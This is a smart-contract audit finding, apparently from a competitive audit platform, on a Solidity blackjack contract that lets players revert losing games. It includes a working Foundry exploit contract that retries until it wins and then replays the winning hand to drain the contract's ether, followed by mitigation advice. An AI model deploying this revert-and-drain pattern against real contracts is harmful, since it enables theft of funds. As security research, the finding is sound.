TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Transaction Revert Control Allows Risk-Free Gambling

Summary

The TwentyOne contract allows players to revert transactions when they lose, effectively enabling risk-free gambling. An attacker can try different hands and only commit winning ones, avoiding any losses except gas fees.

Vulnerability Details

  • Atomic Game Execution:

    • Player can execute entire game (start, hit, call) in one transaction

    • Transaction can be reverted if outcome is unfavorable

    • No state persists between reverted attempts

  • No Revert Penalties:

    • Failed attempts only cost gas

    • No mechanism to prevent retry attempts

    • Players can attempt unlimited times

Impact

  • Risk-Free Gambling:

    • Players never have to accept losses

    • Only winning hands get committed

    • House edge effectively eliminated

  • Game Integrity:

    • No true gambling element

    • Honest players disadvantaged

    • Trust in game compromised

Tools Used

  • Manual Code Review

  • PoC exploit contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract TwentyOneTest is Test {
TwentyOne public twentyOne;
address player1 = address(0x123);
address player2 = address(0x456);
function setUp() public {
// ... keep existing code here ... //
vm.deal(address(twentyOne), 10 ether);
}
// ... keep existing code here ... //
function test_Drain() public {
vm.startPrank(player1);
TwentyOneExploit exploiter = new TwentyOneExploit(address(twentyOne));
uint256 initialCasinoBalance = address(twentyOne).balance;
uint256 initialPlayerBalance = player1.balance;
console.log("Initial balances - Casino: %s ETH, Player: %s ETH",
initialCasinoBalance / 1e18,
initialPlayerBalance / 1e18
);
// Exploiting BUG: "Predictable In-Block Randomness Enables Contract Draining"
// Exploiting BUG: "Transaction Revert Control Allows Risk-Free Gambling"
//
// Simulates an attacker trying to play at different times through the attack contract
// If the play is not a win, the transaction is reverted and no funds are loss (only some gas consumed)
// If the play is a win, the transaction contains a loop that repeats the winning play until target is drained
for(uint256 i = 0; i < 10; i++) {
// Set new block values for each attempt
vm.roll(block.number + 1);
vm.warp(block.timestamp + 15);
vm.prevrandao(keccak256(abi.encode(block.number)));
try exploiter.exploit{value: 1 ether}() {
console.log("Exploit succeeded at block %s!", block.number);
break;
} catch {
console.log("Block %s failed, trying next...", block.number);
}
}
console.log("Final balances - Casino: %s ETH, Player: %s ETH",
address(twentyOne).balance / 1e18,
player1.balance / 1e18
);
assertLt(address(twentyOne).balance, initialCasinoBalance, "Casino balance should decrease");
assertGt(player1.balance, initialPlayerBalance, "Player balance should increase");
vm.stopPrank();
}
}
contract TwentyOneExploit {
TwentyOne public immutable target;
constructor(address _target) {
target = TwentyOne(_target);
}
function exploit() external payable {
require(msg.value == 1 ether, "Need 1 ETH");
uint256 initialBalance = address(this).balance;
while(address(target).balance >= 1 ether) {
uint256 hand = target.startGame{value: 1 ether}();
if (hand <= 16) {
target.hit();
hand = target.playersHand(address(this));
// Exploiting BUG: "Transaction Revert Control Allows Risk-Free Gambling"
if (hand > 21) revert("Bust after hit");
}
target.call();
// Exploiting BUG: "Transaction Revert Control Allows Risk-Free Gambling"
require(address(this).balance > initialBalance, "Lost hand, try again!");
initialBalance = address(this).balance;
// Exploiting BUG: "Predictable In-Block Randomness Enables Contract Draining"
// Following game plays will all give the same winning result allowing target to be drained
}
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}

Recommendations

  • Separate Game Actions:

    • Split game actions across multiple transactions

    • Require minimum blocks between actions

  • Non-Refundable Entry Fee:

    • Implement upfront fee that doesn't get refunded on revert

  • Commit-Reveal Pattern:

    • Players must commit to their actions before resolution

    • Game state must persist across transactions

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Revert a bad outcome

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.